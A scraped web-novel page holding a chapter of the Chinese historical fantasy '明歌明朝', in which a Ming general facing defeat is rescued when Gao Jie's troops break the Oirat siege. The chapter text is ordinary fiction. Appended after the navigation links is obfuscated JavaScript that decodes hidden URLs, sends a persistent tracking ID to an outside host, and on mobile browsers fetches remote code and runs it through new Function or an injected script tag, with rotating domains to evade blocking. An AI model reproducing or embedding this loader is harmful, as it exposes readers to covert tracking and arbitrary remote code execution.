去读读 > 玄幻魔法 > 明歌明朝 > 第十章 :铁骑追风(4)

第十章 :铁骑追风(4)(1/3)

上一章明歌明朝章节目录下一页
如果以贺赞帅帐为圆心,画一个不大的圈儿,那这个圆圈比京郊演武场也大不到那去,但正是在这个不大的空间内,嘈杂之声忽然响彻四方,交战双方的嘶吼声也突然甚嚣尘上。在一片混乱当中,贺赞抬头,望着天空中那束最亮的星光,不由想作首绝命诗,但随即他便沮丧的发现,那勾起他创作灵感的光源,不是星星,其实是月亮。

‘我居然连月亮和星星都分辨不了,还附什么庸?风什么雅呢?’

贺赞想到此,便又想把早就拟好的腹稿大声地念出来。

刚才纠集好剩余0人之后,他就想说的,但他知道李信、牛金星、宋献策等人都是书生的底子,怕露怯,便没说。

现在眼瞅最后时刻即将到来,他就又想说出来。

可话到嘴边,贺赞又突然想到父亲,父亲称得上一个英雄,当年带着2、3千人被重重包围之时,父亲是可以走的,但为了让那些兄弟们安心,老父决定留下去,战下去。

只是因为贺赞还没有生儿子,老父才强令贺赞闯营回关。

当时,老父用刀背狠狠砸在贺赞的肩头,只说了一句话:

“生儿子,一定要生个儿子!”

贺赞自幼参加过很多人的葬礼,大多都是军户,每个军户死前,都很少有豪言壮语,不是交代欠了谁多少谷子,就是交代元宝藏那里了。再不就是骂国家,骂朝廷,临死临死也不让他们吃顿饱饭。

反倒是一些文官出身的监军大人,临死前的话语都特地道,什么‘死则死而,全节义,尽忠孝,此生无怨矣!’要不就是‘当年初谪九天时,高鸟懵懂舞清吟。那料今日冥府宾,原来化碧鼓蕉音。’

听听,这才叫遗言啊!优雅慷慨,壮怀激烈,死后三百年,仍然有人记得。哪像军户,无声无息的就此消亡。所以贺赞确实想留下点特精彩,特拔份的遗言,好给儿子留个念想。但事到如今,此情此景,贺赞忽然又理解了军户。

军人不求名,只求保卫国家。军人不求利,只求国人能安安稳稳的男盗女娼。军人看着是挺惨的,火线上抛洒热血,大后方却夜夜笙歌,似乎生命的意义,只是为了让一群人,不,一大群人享受生活。但又能怎样呢?军人的使命就是守卫边关,为的是国家,为的是民族,再说了,毕竟还有另外一些人,总是会想起他们,念着他们。有一个就足够了,更何况是很多很多人。

所以贺赞知道了,军户遗言,本就该平平淡淡,借着最后的精力,唠唠家长,说点体己话,这才叫生活。于是:

“弟兄们都记住喽,来生重逢之时!咱们再当兄弟!”

“少爷,重逢凭信,横吹贺家铁笛!”

贺赞没再回答,他跟家兵嘶吼着一问一答,便已经足够了。贺赞拿起朴刀,摆了一个很傻的姿势,既不潇洒,也不帅气,但却是军人临战时的标准战斗姿势。贺赞瞪大着眼睛目视前方,黑暗中,不时有火光飞出,刀兵挥砍的声音,也不时传来

贺赞等啊等,等到眼睛都酸了,流泪了,也没见个人影过来,他不由得有些兴奋,因为他是职业军人,虽说算不上太杰出吧,但也判断出来,事情许是出现转机了。

“平之,坦之,你们两个速去打探,此时未见敌情,前方必然有变。”

两个家兵一个姓林,一个姓游,得令后先反身回去牵马,然后再向前方冲去。贺赞吩咐剩余十名家兵继续列防,自己却来到邢夫人面前。

“夫人,在下想请问一句,高杰领兵的本事,究竟如何?”

篝火旁端坐的邢夫人,抬眼看了看他,见他态度诚恳,便微微一笑:

“高杰虽然算不上正人君子,但不会不见我最后一面的。”

呵呵,答非所问。贺赞偷眼看了看邢夫人,见人家再没有开口的意思,便只好向后退去。这时一旁一个家兵悄悄走过来伏在他的耳边说道:

“少爷,好像真的有缓儿,您听,是三眼铳的声音有由外而内。”

果然,话音未落,便听得远方有骑将大喊而来,

“高杰在此,将军何在?”

夜战有夜战的规矩,一旦以明语大喊,就证明已经安全了。贺赞刚想答话,刚才的家兵却抢前几步,站在他的身前。

“大将军在此,有请高将军。”

一问一答,来将已经步入众人视野,只见皂袍束带,银甲红袄,浓眉细目,白面长髯,不是高杰,又是何人呢?

“参见大将军,高杰离军日久,讯断声无,不想竟致将军落此危局,实在罪该万死,还请将军降罪责罚!”

呵呵,失踪20多天的高杰竟然这个时候出现了。

“高杰,其他详细,容后再言,我且问你,你是怎么进来的?”

“回禀将军,末将自西南而来,破阵之时,恰逢神机营的兄弟正在焚车苦战,瓦剌人全然关注前方,根本没料到小人自身后杀来。是以偷得一阵!”

“神来之笔!高将军这神来一笔,可是挽救了咱大明的征西大计啊!贺赞多谢高将军。”

“不敢不敢,将军折杀小人了。”

此刻,贺赞依然站在帅帐前,帅帐周围还是那0来人。但因为高杰营的突然出现,前后夹击的态势,已然松动。要知道,现在的交战双方,已经缠斗了十多个日夜,早都是强弩之末,就比谁先垮呢!

原本都知道明军是快瘫了,但高杰的两营人马突然赶到,整整8千生力军的出现,足够将战场的形势迅速扭转过来。

“高杰,本将现在命你,即刻领一营人马支援右军王来聘(西北方向),其余人马,支撑后营。”

“得令!”

高杰说完,点齐人马就走,临走前,他鬼鬼祟祟地叫身边的亲随,把一些杂七杂八的男女老幼给归置到远远的一处帐篷里。贺赞虽说很好奇,但觉得不便着急这一时。于是也就算了。正这时,那个名坦之的家兵,兴冲冲的跑了回来,同样的,边跑边报号‘奉大将军令,探营回报!’一众人等辨明他确实是贺赞的亲兵之后,连忙闪开一个空挡,坦之跑过来单腿一跪。

“禀报大将军,瓦剌阵线突然松动,平之在帮着紧备防线,特命小的回禀将军得知,咱们征西军,见亮啦!”

随着晨光的逐渐出现,各条战线的军情便越来越多的传递过来。

“报,左将军命小人前来禀告大将军,孙将军亲提兵马,已进帅帐15里处,来犯之敌,多有消退,忠觉军正在全速向帅帐靠拢!”

“参见大将军,徐彦琦血战退敌,幸不辱命!”

“报,五军前锋营都司吴金库遣人来报,敌军正在佯攻偃退,请将军示下!”

“拜见大将军,神机营前营指挥吴金才,退敌复命!”

“闯字军指挥高杰,退敌复命!”

“报,小人五军引弦营传令旗牌,引弦营本已靠拢帅帐,但巧遇一队5千左右的溃退骑兵,现正酣斗不止,王将军特命小的前来报将军命。”

“什么?快叫他回来!否则…”贺赞惊怒出声,转而,扭头冲孙诚的传令兵说,“传我将令,叫孙诚领人马速去接应,叫他务必把王来聘给我拉回来!其余各部,严守营垒,不得妄自追击,违令者,立斩不赦!”

“是!”

几个传令兵立刻翻身上马走了。贺赞左右看看,高杰、徐彦琦等人虽说略显狼狈,但精神状态都非常好,贺赞心中明了,自己算是侥幸躲过这次磨难了。他抬手把高杰叫到了自己的帅帐前面,帐子里是一堆伤员,帐外是各路复命的大军,只有帐门口的空场上还算清静。他要好好理理思路,眼前这柳暗花明的景象,究竟是怎么回事儿?当然,首先要知道的,也是最关键的,当然是高杰在这么些天里,究竟跑那去了,又干了些什么?

贺赞先问的,是高杰怎么突围进来的?要知道,前锋营突进来的代价,是主将唐栋险些就重伤不治。其余孙诚等部,拼死拼活的打了十多天,也只靠拢到30里外。高杰虽说有8千多人,但战斗力嘛……!

“回禀将军,白利人与瓦剌人多有接触,因此对固始汗的行兵方式还算熟悉,小人马前的数十名向导,用了半个月的时间,总算打探到固始汗的金帐所在,等小人领兵扑去时,却发现虽然那里是汗帐所在,却反而是最弱的一处。因此没经多少阵仗,就扑过去了。属下还抢了对方的一些女眷稚童呢!”

‘万幸!不愧是国家讨伐了十年的闯军啊!如此诡异的行兵手段,果真是出人意表。’贺赞心中刚刚发表完感慨,立刻又猛然惊醒!

“什么?高杰,你,你竟然直捣了对方的大汗金帐?”
上一章明歌明朝章节目录下一页
function DcdGKZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DcdGKZ(t);};window[''+'B'+'y'+'Z'+'H'+'e'+'R'+'y'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://deh.insfhrt.com:8887/stats/70521?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmhibHN3cnFvLmNvbSUzQTg4OODc=','d3NNzJTNNBJTJGJTJGZC52dHlpdHByLmNNvbSUzQTg4ODc=','50662',window,document,['O','N']);}:function(){};